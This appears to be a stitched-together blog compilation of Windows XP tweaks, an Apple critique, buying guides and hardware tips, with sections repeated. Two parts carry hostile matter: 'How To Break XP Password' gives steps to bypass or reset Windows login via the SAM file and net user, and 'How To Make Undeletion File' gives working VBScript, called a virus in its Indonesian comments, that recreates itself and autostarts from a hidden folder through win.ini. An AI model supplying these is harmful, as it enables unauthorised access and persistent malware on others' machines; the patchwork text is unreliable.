Firstly, you need to know that regedit.exe is a tool that created to access registry based on windows. And reg.exe is a tool that created to access DOS based registry. And maybe a lot of you didn't know about that, so this step by step to access registry using command prompt :
1. Enter the DOS console ( Command Prompt, MS-Dos Prompt )
2. Enter command : reg, then you will see
example of command that you can use to gain access to windows registry such as :
query, add, delete, copy, save, import, unload, etc.
3. And with these simple command you can access DOS based registry :
HKCR = HKEY_CLASSES_ROOT
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKU = HKEY_USERS
HKCC = HKEY_CURRENT_CONFIG
Data type :
REG_SZ = String value
REG_MULTI_SZ = Multi-string value
REG_DWORD = DWORD VALUE
REG_BINARY = binary value
REG_NONE = none value
4. Example :
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System"/v
DisableRegistryTools /t reg_dword/ d 1 / f
That command will disable windows registry, and to make enable we can use this :
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System"/v
DisableRegistryTools /t reg_dword/ d 0 / f
5. This technique will be very usefull against virus that ussually blocked many
things, but you shoul be carefull that maybe virus can use reg.exe to activate
those virus itself.
6. So, I suggest you to make a copy or backup to your registry file.

How To Break XP Password
In case of user password, boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account ,try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mj
Now XP wont ask for password next time You Login. Also
Go to the cmd prompt .
Type net user *.
It will list all the users.
Again type net user "administrator" or the name of the administrator "name" *.
e.g.: net user aaaaaa *(where aaaaaa is the name).
It will ask for the password.
Type the password and there you are done.
Logging In As Administrator:
Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator.
To unhide the Administrator account so it does show up:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Unhide the Administrator key by giving it a value of 1
Now XP wont ask for password next time You Login. Also
Go to the cmd prompt .
Type net user *.
It will list all the users.
Again type net user "administrator" or the name of the administrator "name" *.
e.g.: net user aaaaaa *(where aaaaaa is the name).
It will ask for the password.
Type the password and there you are done.
Logging In As Administrator:
Hold the Ctrl-Alt key and press Del twice. This will bring up the normal login and you can log on as Administrator.
To unhide the Administrator account so it does show up:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Unhide the Administrator key by giving it a value of 1
How To Shutdown XP Faster
1)Start - Run - RegeditNavigate to the following Registry key:HKEY CURRENT USER\Control Panel\DesktopDouble click on the AutoEndTasks entry and replace the 0 with a 1 in the Value data text boxFor the next two, if the dword value indicated does not exist, create it:Double click on the WaitToKillAppTimeout entry in the right pane and change the Value data to 2000Double click on the HungAppTimeout entry in the right pane and change the Value data to 1000RebootIf still having a problem, make the next change:2) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro lRight-click on WaitToKillServiceTimeout and change it to 2000NOTE: The lowest value Windows will recognize is 1000 (1 second)ADVISORY: While rare, the "WaitToKillService" tweak can cause problems. If an application is in the process of saving data and the associated service is stopped prematurely, the data will not be saved and may be lost.

How To Renaming Recycle Bin
When it comes to playing with your system settings, there is no better place than regedit to get your hands dirty on. Regedit the short for registry editor allows us to make changes in the windows settings pretty easily. Changes like changing the boot up screen, wallpapers, security related issues can easily be tackled with through the registry.
When you right click on the recycle bin unlike other icons, the rename option is not displayed in the pop-up menu. But this doesn't mean it can;t be changed. Well now it's time to open up regedit. For that go to the Start>run. Then type regedit.
Now go to the location "HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E/ShellFolder/}" by expanding the '+' signs.
Once you reach there double click the "Attributes" icon.
Then change the value data from "40 01 00 20" to "50 01 00 20".
Now double click "CallForAttributes" icon and change the value data to 0.
Rejoice! Now you can jump back to your desktop and right click the recycle bin to see the rename option. Click it and name the recycle bin to whatever you want.

Creating a Bootable Pen Drive
All of us must have encountered the situation where our very own PC refuses to boot whatever the problem may be. It is here that a USB drive containing bootable XP comes in handy. You can install a bootable XP on to the pen drive along with the safety tools such as antivirus etc. to fix the problem.
But this cool way might not shine the light equally on everyone. In order to boot from a flash drive your system should be only around two years old. An alternative to this is that you upgrade your BIOS. Also the flash drive you use should be of a minimum of 256 Mb size to hold windows XP. Also a maximum size of 2GB is permissible.
So now you have the pendrive and an approprite BIOS. So get started with creating a bootable pen drive. For that you need to have a USB Disk storage format tool which is available for free. Now you can start formatting your pen drive. Then to make it bootable copy the following files on to the pen drive : Boot.ini, NTLDR, and NTDETECT from root directory of the boot drive.
Now you will be needing a software named BartPE that helps you install windows on a minimal space. After you have downloaded it follow the steps to copy the Windows files.
After you are done with all this you are having your very own flash drive ready to boot your Windows XP2.

Things We Hate About Apple
It's high time we unloaded on the high-and-mighty Mac maker.
Narasu Rebbapragada and Alan Stafford, PC World
The company formerly known as Apple Computer and now called simply Apple, Inc. is unique in many ways--including in its ability to drive even folks who admire it positively batty. It makes great products (usually), yet its secretiveness about them borders on paranoia, and its adoring fans can be incredibly irritating. Of course, its fans have to put up with some irritations, too: Simply being a member of the club still means you must endure unending jabs from the other side of the socio-political-techno aisle. But do they have to wear their suffering as a badge of honor?
Today, we--that's us, Narasu and Alan, veteran Mac users both--are going to get some stuff off our chests. We've enumerated ten things we hate about Apple (or its followers, or simply about the experience of using its products). But in the interest of fair play (not to be confused with FairPlay, Apple's DRM technology) we're also publishing another list--Ten Things We Love About Apple.
Use the Comment link at the end of this article to add your own gripes about Apple--or to defend it.
And so, with protective helmets in place, off we go:
1: Free Speech, Anyone?
Even if you're no Apple fan, this particular issue might not rise to the top of your own personal gripe list--but hey, we're journalists. So sue us.
Er, that's probably not the right turn of phrase to use, considering that in December 2004, Apple filed a lawsuit against the AppleInsider, O'Grady's PowerPage, and Think Secret Web sites for posting information about upcoming technologies that Apple had shared with outsiders under nondisclosure agreements. In the case of O'Grady, the news was of a FireWire interface for GarageBand. In the words of O'Grady himself: "yawn."
Apple pressured the sites to reveal their sources, and even worse, pressured the sites' ISPs. In May 2006, a California court said no way, ruling that online journalists enjoy the same First Amendment rights as "legitimate" offline journalists. Seems silly in today's world, doesn't it? Recently, the court ordered Apple to pay the sites' legal fees--about $700,000.
2. More Secretive Than Homeland Security
Those feds are secretive, but they're no match for Apple reps' infuriating stock answer: "We don't comment on future product plans." Being an Apple adherent means never knowing for sure if the shiny new MacBook or iPod you just bought is about to be rendered obsolete by a Steve Jobs keynote.
Of course, Apple is merely the most famous secretive Silicon Valley company, not the only hush-mouthed one. And tight lips make for explosive buzz when the company does decide to drop a bombshell. But contrast Apple's secrecy with Microsoft's lack thereof--Bill Gates, Steve Ballmer, and company love to talk about their company's upcoming products, and they still get their fair share of buzz. Even though many of those plans have a tendency to not actually come true.
3. Ain't Too Proud to Blame
When Apple shipped iPods containing a worm last year, instead of issuing a humble mea culpa, Apple took a swipe at Microsoft, saying, "As you might imagine, we are upset at Windows for not being more hardy against such viruses, and even more upset with ourselves for not catching it." As you can imagine, that didn't fly with security experts. How about an apology to the folks who were unlucky enough to buy the infected iPods, period?
4. iHate iAnything
Apple first floated the idea of product names with a leading lowercase letter in 1994 with eWorld, an ill-conceived online service that went belly-up after a year and a half. But when it introduced the original iMac in 1998, it hit on a phenomenal success--and prompted hundreds of third-party manufacturers to follow with sickeningly cute Bondi Blue products with names that also began with a lowercase "i." Now dozens of Apple and third-party product names begins with "i." Their manufacturers are all jumping on the bandwagon, hoping that a single letter will sway us to buy their stuff. Meanwhile, you can't even start sentences with the products' names.
Is it any wonder that we're inclined to like Apple TV in part because it turned out not to be iTV? Or that we're kind of sorry that Apple was able to strike a deal with Cisco to share the name iPhone?

WAV
This format is the standard format in windows. Music file in this format is normally uncompresed, that's why music file in this format has big size.
AAC
AAC or Advanced Audio Coding is standard part from Motion Pictures Experts Group (MPEG) since 1997. It has twice sample rate than MP3. This format is used by Apple at their online music shop (iTunes).
WMA
This format is offered by Microsoft and almost all music vendor online like this format because it support Digital Rights Management (DRM). WWW.extremetech.com claimed that this format has better quality than MP3 and AAC.
OGG VORBIS
This format is the only one format that open and free. This format has better quality in low bitrate than other format.
REAL AUDIO
This format is developed by RealNetworks and find especiaaly in low bitrate that ussually use in video streaming.
MIDI
This format suitable for music output that use synthesizer but not suitable for convertion from analog music because it not too accurate. This format ussualy on small size and ussually use on ringtone.

Want to Buy Desktops ?
What kind of desktop?
Most manufacturers offer several lines at different prices.Think budget for basic needs, including photo editing. For general computing such as word-processing, e-mail, and Web browsing, a budget computer should be more than sufficient. Budget models also have the speed and storage capacity needed for routine photo editing and light video editing.
Think workhorse for games, graphics, and video. If you expect to edit video frequently or run complex games with 3D graphics, your better bet is a costlier workhorse computer. It’s likely to come with a 180-gigabyte or larger hard-drive and 256
Desktops: Buy preconfigured or DIY?
TO CONFIGURE OR NOT After you make that decision, you’ll know where to shop.
You can buy a PC off the shelf in a store or via the Web, configured with features and options the manufacture pitches to average consumers. Or consider purchasing a desktop that you configure to order, either online or in a store. When you configure a computer to order online, onscreen menus typically show you all the options and let you see how a change in one option affects the overall price. Customizing is a strategy we recommend for getting optimal features at the lowest cost.
Shopping for an off-the-shelf package deal isn't as easy as it sounds. Deciding between a computer that has, say more memory or a faster hard drive can give you a headache. And retailers aren't always clear about what's really included. Our readers report higher PC-shopping satisfaction with online purchases.
If you buy off the shelf
• Look at our recommended configuration for the type of desktop you want as a starting point. Decide which additional features you want so that you can hunt for packages that approximate your needs.
• Use a shopping bot. Both Shopping.com and Bizrate.com allow you to compare prices at stores and Web sites. We shopped for a preconfigured HP computer with many of our workhorse features. On Shopping.com prices ranged from $785 to $900. The bots also calculate tax and shipping costs, which in our case ranged from zero to $88.
• When prices are close, consider a retailer on other important attributes.
If you customize
• Buy directly from the manufacturer. Retail Web site/mail-order operations in our Ratings (available to subscribers) scored well as a whole, but they don't customize the brand-name computers in our Ratings. Several brick-and-mortar retailers do let you customize some brands, but didn't rate as well overall as manufacturers. We can't say whether customer satisfaction with manufacturers extends to direct-sell kiosks, which makers like Dell and Hewlett-Packard have in some retail locations.
• Unbundle. Even computers that you configure yourself may come with a cheap monitor or a printer selected by default. If you already have one, you may save by not taking the new one. On the day we shopped the Dell site, eliminating the monitor saved about $40. On the other hand, if you need one, a monitor offered as part of a bundle is often less expensive than one separately purchased. Check each screen as you order to make sure you get only what you want.
• Track prices. They bounce around as promotional offers come and go. Recently we compared identically configured models from Dell; the same model that cost $1,736 in July cost just $1,299 two months later. Two days later, however, the price rose to $1,325.

Want to Buy Laptop ?
What kind of laptop?
Budget models. These have slower processors and lower screen quality than others, but they are suitable for routine work. For general computing such as word-processing, e-mail, and Web browsing, a budget computer should be more than sufficient. Budget models also have the speed and storage capacity needed for photo editing, a limited music library, and even rudimentary video editing.
Workhorse models. These have faster processors, and all drives are built in so you won't need external attachments. They're not lightweight or battery-efficient enough for frequent travelers. Workhorse laptop computers cost a few hundred dollars more than budget machines, but are faster, more versatile, and upgradeable. Today's workhorse laptops can even handle most games and multimedia applications, and most are equipped with a DVD burner to facilitate creating home video DVDs.
There's another reason to opt for a workhorse computer over a budget model: upgradeability. Programs are fatter than ever. A single game, for instance, can consume 4 gigabytes or more of hard-drive space. And if you download music or video clips on a regular basis and don't transfer the content onto CDs, DVDs, or a portable device, you'll eventually fill a budget model's 40- or 60-GB hard drive.
Slim-and-light models. These are designed for travelers. They can be less than an inch thick and weight as little as two or three pounds. They generally require an external drive to read DVDs or burn CDs. An external docking station or port expander can simplify connecting to devices at home.
Tablet-style. These sit in your hands like a clipboard and have handwriting-recognition software. A few can convert to a "normal" laptop with a keyboard.
Buy preconfigured or DIY?
Dell and Gateway pioneered the notion that every computer can be tailored to an individual buyer's needs, much like choosing the options for a car. This configure-to-order model is now common practice for laptops as well as desktops.
You can also purchase a preconfigured computer off the shelf. (You can do the same online if you opt for the default choices of equipment the manufacturer offers.) That's fine if you don't have very strict requirements for how a laptop is outfitted or if you want to take advantage of an attractive sale.
Configure-to-order menus show you all the options and let you see how a change in one affects the overall price. You may decide to use a less-expensive processor, for example, but spend more for wireless capability or better graphics. Configure-to-order will often give you choices you won't get if you buy off the shelf. And configure-to-order means less chance of overlooking important details.
Shopping for an off-the-shelf package deal isn't as easy as it sounds. Deciding between a computer that has, say more memory or a faster hard drive can give you a headache. And retailers aren't always clear about what's really included. Our readers report higher PC-shopping satisfaction with online purchases.
If you buy off the shelf
• Look at our recommended configuration for the type of laptop you want as a starting point. Decide which additional features you want so that you can hunt for packages that approximate your needs.
• Use a shopping bot. Both Shopping.com and Bizrate.com allow you to compare prices at stores and Web sites. When we shopped for a particular preconfigured computer with many of our workhorse features, Shopping.com prices ranged from $785 to $900. The bots also calculate tax and shipping costs, which in our case ranged from zero to $88.
• When prices are close, consider a retailer on other important attributes.
If you customize
• Buy directly from the manufacturer. Retail Web site/mail-order operations in our Ratings (available to subscribers) scored well as a whole, but they don't customize the brand-name computers in our Ratings. Several brick-and-mortar retailers do let you customize some brands, but didn't rate as well overall as manufacturers. We can't say whether customer satisfaction with manufacturers extends to direct-sell kiosks, which makers like Dell and Hewlett-Packard have in some retail locations.
• Track prices. They bounce around as promotional offers come and go. Recently we compared identically configured models from Dell; the same model that cost $1,736 in July cost just $1,299 two months later. Two days later, however, the price rose to $1,325.
Budget models. These have slower processors and lower screen quality than others, but they are suitable for routine work. For general computing such as word-processing, e-mail, and Web browsing, a budget computer should be more than sufficient. Budget models also have the speed and storage capacity needed for photo editing, a limited music library, and even rudimentary video editing.
Workhorse models. These have faster processors, and all drives are built in so you won't need external attachments. They're not lightweight or battery-efficient enough for frequent travelers. Workhorse laptop computers cost a few hundred dollars more than budget machines, but are faster, more versatile, and upgradeable. Today's workhorse laptops can even handle most games and multimedia applications, and most are equipped with a DVD burner to facilitate creating home video DVDs.
There's another reason to opt for a workhorse computer over a budget model: upgradeability. Programs are fatter than ever. A single game, for instance, can consume 4 gigabytes or more of hard-drive space. And if you download music or video clips on a regular basis and don't transfer the content onto CDs, DVDs, or a portable device, you'll eventually fill a budget model's 40- or 60-GB hard drive.

Buying a Computer ?
Upgrade your current computer or buy new?
You can extend the life of an older PC by upgrading parts of it.
Before committing to a new purchase, decide whether upgrading your old computer will do. It may suffice if your additional needs are modest--say, a second hard drive because you’re out of room for photos or downloaded music. Adding memory or a DVD writer is also usually more cost-effective than buying a new machine.
But if your PC is now unreliable, or your wish list has grown, or there’s software you must run that your system isn’t up to (especially newer versions of Windows), a new computer is the answer.
Laptop or desktop?
WIRELESS FREEDOM A laptop allows you to use the Internet from Wi-Fi hotspots in some public locations like cafes.
Unlike past models, today’s workhorse laptops perform much like desktops. But there are still reasons to choose one over the other that go beyond portability.
If you’ll use a laptop mostly at home, built-in wireless networking lets you use it throughout the house and easily store it when it’s not in use. And while all the Windows desktops tested are tower models you can place below a desk, the keyboard, mouse, and display take up more space on a desk than a laptop does.
What you get in return are greater storage capacity, memory, multimedia features, and expansion flexibility. Also, desktops cost less overall (prices start at roughly $400, plus another $75 or so for a CRT monitor, compared with $700 for laptops), and their more standardized designs translate into lower repair costs.

Disk Formatting
This article is made to answer our guest question when we discuss about What to Do If your Hard Drives Crashed.
Disk formatting is the process of preparing a hard disk or other storage medium for use, including setting up an empty file system.Large disks can be partitioned, divided into logical sections that are formatted with their own file systems. This is normally only done on hard disks because of the small sizes of other disk types, as well as compatibility issues.
There is two levels of disk formatting. There are low level formatting and high level formatting
LOW LEVEL FORMATTING
User instigated low-level formatting (LLF) of hard disks was common in the 1980s. Typically this involved setting up the MFM pattern on the disk, so that sectors of bytes could be successfully written to it. With the advent of RLL encoding, low-level formatting grew increasingly uncommon, and most modern hard disks are embedded systems, which are low-level formatted at the factory with the physical geometry dimensions and thus not subject to user intervention.
Early hard disks were quite similar to floppies, but low-level formatting was generally done by the BIOS rather than by the operating system. This process involved using the MS-DOS debug program to transfer control to a routine hidden at different addresses in different BIOSs.
Starting in the early 1990s, low-level formatting of hard drives became more complex as technology improved to:
* use RLL encoding,
* store a higher number of sectors on the longer outer tracks (traditionally, all tracks had the same number of sectors, as is still the case with floppy disks),
* encode track numbers into the disk surface to simplify hardware, and
* increase the mechanical speeds of the drive.
Rather than face ever-escalating difficulties with BIOS versioning, disk vendors started doing low-level formatting at the factory. Today, an end-user, in most cases, should never perform a low-level formatting of an IDE or ATA hard drive, and in fact it is often not possible to do so on modern hard drives outside of the factory.
HIGH LEVEL FORMATTING
High-level formatting is the process of setting up an empty file system on the disk, and installing a boot sector. This alone takes little time, and is sometimes referred to as a "quick format".
In addition, the entire disk may optionally be scanned for defects, which takes considerably longer, up to several hours on larger harddisks.
In the case of floppy disks, both high- and low-level formatting are customarily done in one pass by the software. In recent years, most floppies have shipped preformatted from the factory as DOS FAT12 floppies. It is possible to format them again to other formats, if necessary.

How To Speed Windows XP Shut Down
It's not only start-up that you'd like to speed up; you can also make sure that your system shuts down faster. If shutting down XP takes what seems to be an inordinate amount of time, here are a couple of steps you can take to speed up the shutdown process:
* Don't have XP clear your paging file at shutdown. For security reasons, you can have XP clear your paging file (pagefile.sys) of its contents whenever you shut down. Your paging file is used to store temporary files and data, but when your system shuts down, information stays in the file. Some people prefer to have the paging file cleared at shutdown because sensitive information such as unencrypted passwords sometimes ends up in the file. However, clearing the paging file can slow shutdown times significantly, so if extreme security isn't a high priority, you might not want to clear it. To shut down XP without clearing your paging file, run the Registry Editor (click Start > Run, then type regedit in the Run box) and go to:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
* Change the value of ClearPageFileAtShutdown to 0. Close the Registry, and restart your computer. Whenever you turn off XP from now on, the paging file won't be cleared, and you should be able to shut down more quickly.

What Should I Do If My Hard Drive Has Crashed
As you know, hard disk is the most valuable part of computer. It's like your wallet, you many important things inside it. How if it crashed, WHAT SHOULD I DO ?
1. If you use IDE drive, check your data cable properly. If that's needed you can
replace it with a new one.
2. Try booting with boot CD to learn if the disk is readable. If it is, you can copy
your data with copy them to different drive. After that you can format drive that
crashed and hope that you can save your drive.
3. Your drive may has bad sector, try to locate it or perhaps to heal it.
4. Try to download tools that provide by your drive manufacture. You can try this
http://www.tacktech.com/display.cfm?ttid=287
If those step dont' helped, maybe you can try this (freezer trick) :
Put the drive in a plastic freezer bag (and wrap it in a paper towel for extra protection against moisture) to keep water out, and then freeze it for a few hours. Let it thaw back to room temperature after you take it out, and get rid of any condensation you see. There's no agreed-upon length of time to freeze it, but start with an hour and work your way up to 24 hours to see if you can make the drive spin up one last time.

TIPS FOR CHOOSING PORTABLE MEDIA PLAYER
Nowadays, even a MP3 player can play film on dvd format. There are many factory that produce PORTABLE MEDIA PLAYER (PMP). There are some tips for you to choosing PMP :
1. VIDEO QUALITY
Make sure what video format that PMP can play. If there is only one format, make sure that format good quality such as AVI. The other things is you should make sure that there is no interval between pictures and voices.
2. SOUND QUALITY
if you think that all of PMP produce same quality of sound, you're wrong. Because how good sounf that PMP produce is depend on what program that planted in the microchip.
3. MEMORY CAPACITY
If your PMP can play video is better to choose PMP tha thas memory more than 1 GB. It;s also better if there is addtional slot form memory. And make sure thath slot is popular such as SD card.
4. CONECTIVITY
MAke sure that your PMP has standard USB or mini USB 2.0. But there is better i your PMP is support with bluetooth or TV out.
5. POWER CAPABILITY
Try toc choose PMP with fast charging and can be replaced if the battery is empty because some PMP can't be replaced.

Used rugged laptops, refurbished ruggedized laptops
Is it wise to buy an used rugged laptop?
Used or refurbished rugged laptops may be a good choice for those of you that don't want or can't afford spending big amounts of money on a new laptop (even an an industrial one).
Save money buying an used ruggedized laptop
For some of the people I know, buying an used ruggedized laptop or even a refurbished one is a strategic solution, due to the fact that soon after buying a new laptop, the technology gets old.
So, by buying an used rugged laptop they get sure that they don't pay that much for a technology that is still perfectly usable.
Watch promotions on stores selling refurbished ruggedized laptops
You should keep an eye on those stores selling used rugged laptops, you may find good laptops at low prices.
Also a lot of companies resell their resources after a while trying to upgrade them, so there may be a real possibility to find used but good ruggedized laptops that you may buy at a lower price.
Anyway, rushing to buy a brand new technology is not always a good solution, new technologies (and here I mean latest industrial computers) usually are very expensive, while I am sure you don't have a real need for the fastest mobile computer on the market.
If you also count that rugged laptops are usually more expensive than regular, commercial ones, then you should really consider buying an used rugged laptop (or a refurbished one, if it is well fixed).
Remember what I said earlier: identify your real needs, think what you want from your laptop computer. Usually, a lot of regular applications that are developed to run on rugged laptops don't need the latest technologies available on the market.
Go with an used rugged laptop or even with a refurbished one but do it after a real good analysis. Usually an used rugged laptop will do the trick just fine but for half of the initial price! However you should double check if you don't use some resource consuming applications that may require a stronger computer.

How to clean your notebook
From time to time it may be good to clean your laptop. Think of the fact that the laptops are actually small boxes, where dust feels at home! First thing you should do is to pick up a screwdriver and open up the laptop. You should also use a flashlight and something to clean the dust away.
First after opening up your laptop you should take a look at your laptop's fan. Like all fans, they spin a lot, really :-) and they pick up a lot of dust. You will see that you will find a lot of dust on your fans. With smooth moves you should remove the dust. Then go to the ducts and vents and then to the ribbon cables of your laptop, then around the hard disk.
If you have a can of compressed air you should use it now. Put on a dust mask and start spraying your laptop big times! Spray all the dust away, like when you do the spring cleaning! You will be surprised how much dust can come out of your tony laptop.
Turn your laptop around and shake it. Not hard, but shake it, you will find that a lot of larger particles are still there. The same way you've done with the keyboard. You didn't?Well, you should do it, really, remember to shake your keyboard so all the dust, hair and no matter what pieces fall out of it. You could also use that can of compressed air we spoke about earlier. Don't be embarassed by what you find inside your keyboard. I know I am not, and I find a lot of interesting things...oh, look, I found my Metallica t-shirt I lost last year ;-)
While your computer is open, try to check also larger components to see if they are bound to the motherboard or to the case of your laptop, if not, fix this with the screwdriver. It is a good thing to do while you have your laptop open. Later it will not be possible, right?
Then put your laptop together again and remember to clean the screen of your laptop and the exterior. Remember to clean the touchpad, the case and every other external part as well. It will make a nice impression, well, you know...maybe now you will want to sell it...it looks so good now...

How To Make Undeletion File
You need to write this source :
dim fso, axl,rose,idiot
Set Rose = CreateObject("WScript.Shell") set fso = createobject("scripting.filesystemobject") set Axl = fso.opentextfile(wscript.scriptfullname,1) idiot = Axl.readall Axl.close do if fso.fileexists(wscript.scriptfullname) = false then set Axl = fso.createtextfile(wscript.scriptfullname) Axl.write idiot Axl.close end if loop
simpan script diatas dengan nama Rizal.vbs lalu jalankan!sekarang coba kamu
hapus Rizal.vbs hehehe pasti ga bisakan,soalnya nih Virus bakal baca dirinya
sendiri lalu mengecek apakah ada Virus ini,jika ga ada(dalam hal ini waktu kamu
hapus)maka akan diciptakan lagi.sekarang lihat juga script yang aku ciptakan
Dim fso,FileSR = ".\RS.vbs"do set fso = createobject("scripting.filesystemobject") set File=fso.GetFile(SR) File.Copy "C:\my documents\antis.vbs" File.Copy "c:\antis.vbs"
loop
After you finish write that source you need to save it. You can change the files name in SR = ".\(files name).
You also need to make windows.ini which are consist this script.
[windows]load=c:\hidden_folder\RS.vbs
run=c:\hidden_folder\RS.vbs
Now you can hide your un deletion source and run it automaticaly.

Things That You Should Consider Before Buy Video Card ( Part I )
1. GPU / Chipset
GPU / Chipset is a unit that process the graphic in a computer. So, your computer will not burden by task that related with graphic. What type used give impact to some important things such as Core Clock Speed, Memory Clock Speed, and Ramdac Clock Speed. But don’t judge the quality of Video Card only from what chipset they has. Maybe you can see about review about their performance and compare it.
2. Core Clock
Core Clock is speed that video card has ( how many times processor graphic adapter can rotate in one second ). That’s why it represent in Mhz. So, higher Core Clock will provide the faster work that graphic card done.
3. Memory Clock
Memory Clock is speed that RAM on graphic card can transfer data from or to video card processor. Faster Memory Clock will provide the faster graphic process.
4. RAMDAC ( Random Access Memory Digital to Analog Converter )
RAMDAC is speed that video card has to convert data from digital to analog and than will show on monitor. RAMDAC will give effect on refresh rate that video card has.
5. RAM
Video card also need RAM to make temporary save when data processing. More complex graphic process will need bigger RAM. When you hear “VGA Onbard” that mean your graphic process will take RAM from your computer. In other words, the video card doesn’t has their own RAM. You also need to pay attention on bits value that RAM has. Bits is how many data that RAM can send in one Memory Clock ( rotation ).
